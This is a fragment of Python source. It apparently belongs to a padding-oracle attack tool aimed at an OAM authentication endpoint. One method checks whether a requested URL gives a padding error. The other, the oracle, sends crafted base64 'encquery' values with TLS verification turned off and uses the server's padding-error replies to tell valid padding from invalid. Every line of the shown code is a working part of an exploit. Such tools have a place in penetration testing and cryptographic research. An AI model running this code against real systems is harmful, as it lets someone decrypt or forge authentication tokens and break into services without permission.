def _is_valid_padding(self, requested_url):  # TODO rename
        request_sent = False
        cnt = 0
        while not request_sent:
            try:
                self._logger.debug('Requesting: %s', requested_url)
                cnt = cnt + 1
                if cnt > Constants.MAX_RETRIES:
                    self._logger.error("Max retries exceeded. Stopping...")
                    sys.exit(-1)

                response = requests.get(requested_url, timeout=Constants.NETWORK_TIMEOUT, verify=False, allow_redirects=False)
                request_sent = True

            except (socket.error, requests.exceptions.RequestException):
                self._logger.exception('Retrying request in %.2f seconds...', Constants.DEFAULT_WAIT_TIME)
                time.sleep(Constants.DEFAULT_WAIT_TIME)
                continue

        content = response.text
        self._logger.debug("Response content: %s", content)

        padding_error = Util.has_padding_error(response=response,
                                               success_msg=self._padding_success_msg,
                                               fail_msg=self._padding_fail_msg, logger=self._logger)
        return not padding_error
    def oracle(self, data, **kwargs):
        request_sent = False
        cnt = 0
        while not request_sent:
            try:
                msg = self._prefix_message.encquery + data
                encoded_msg = b64encode(msg)

                cnt = cnt + 1
                if cnt > Constants.MAX_RETRIES:
                    self._logger.error("Max retries exceeded. Stopping...")
                    sys.exit(-1)

                url = self._prefix_message.oam_url + "?encquery=" + urllib.quote(
                    encoded_msg + '  ' + self._prefix_message.extra_params)
                self._logger.debug('Requesting: %s', url)
                response = requests.get(url,
                                        stream=False,
                                        timeout=Constants.NETWORK_TIMEOUT,
                                        verify=False,
                                        allow_redirects=False)
                request_sent = True

            except (socket.error, requests.exceptions.RequestException):
                self._logger.exception('Retrying request in %.2f seconds...',
                                       self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)
        content = response.text
        self._logger.debug("Response content: %s", content)

        padding_error = Util.has_padding_error(
            response=response,
            success_msg=self._padding_success_msg,
            fail_msg=self._padding_fail_msg,
            logger=self._logger)
        if padding_error:
            raise BadPaddingException
        else:
            self._logger.info('No padding error for: %r',
                              quote(b64encode(data)))
            return